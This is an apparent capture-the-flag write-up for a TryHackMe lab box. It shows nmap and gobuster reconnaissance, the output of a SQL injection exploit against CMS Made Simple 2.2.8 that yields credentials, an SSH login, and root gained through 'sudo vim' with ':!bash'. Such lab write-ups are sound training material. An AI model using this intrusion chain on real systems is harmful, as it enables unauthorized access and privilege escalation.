We connect to TryHackMe server using openvpn.

IP address - 10.10.1.4

Run nmap -sT -p- 10.10.1.4

**root@kali:~# nmap -sT -p- 10.10.1.4**

**Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-03 12:32 EST**

**Nmap scan report for 10.10.1.4**

**Host is up (0.12s latency).**

**Not shown: 65533 filtered ports**

**PORT STATE SERVICE**

**21/tcp open ftp**

**80/tcp open http**

**2222/tcp open EtherNetIP-1**

**Nmap done: 1 IP address (1 host up) scanned in 250.54 seconds**

The webpage is a default Apache2 page so I just went forward with gobuster.

**root@kali:~# gobuster dir -u http://10.10.1.4/ -w /usr/share/dirb/wordlists/common.txt**

**===============================================================**

**Gobuster v3.0.1**

**by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)**

**===============================================================**

**[+] Url: http://10.10.1.4/**

**[+] Threads: 10**

**[+] Wordlist: /usr/share/dirb/wordlists/common.txt**

**[+] Status codes: 200,204,301,302,307,401,403**

**[+] User Agent: gobuster/3.0.1**

**[+] Timeout: 10s**

**==========**

**2020/12/03 12:46:58 Starting gobuster**

**==========**

**/.htpasswd (Status: 403)**

**/.hta (Status: 403)**

**/.htaccess (Status: 403)**

**/index.html (Status: 200)**

**/robots.txt (Status: 200)**

**/server-status (Status: 403)**

**/simple (Status: 301)**

**==========**

**2020/12/03 12:47:54 Finished**

**==========**

After checking out /simple we find a webpage using CMS.

Further inspection leads us to find its CMS 2.2.8 which has a sql injection vulnerability.

I proceed to download the vuln and use it against the URL.

**[+] Salt for password found: 1dac0d92e9t32**

**[+] Username found: mitch**

**[+] Email found: admin@admini**

**[*] Password found: secret**

After finding the user and password for user, I attempt to ssh in under 2222 port

**root@kali:~# ssh -p 2222 mitch@10.10.37.10**

**mitch@10.10.37.10's password:**

**Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)**

*** Documentation: https://help.ubuntu.com**

*** Management: https://landscape.canonical.com**

*** Support: https://ubuntu.com/advantage**

**0 packages can be updated.**

**0 updates are security updates.**

**Last login: Fri Dec 4 01:02:02 2020 from 10.9.185.132**

**$ ls**

**user.txt**

**$ sudo vim**

Inside vim I used :!bash to get out and gain access to root

**root@Machine:~# ls**

**user.txt**

**root@Machine:~# cd sunbath**

**bash: cd: sunbath: No such file or directory**

**root@Machine:~# cd root**

**bash: cd: root: No such file or directory**

**root@Machine:~# whoami**

**root**

**root@Machine:~# cd /root**

**root@Machine:/root# ls**

**root.txt**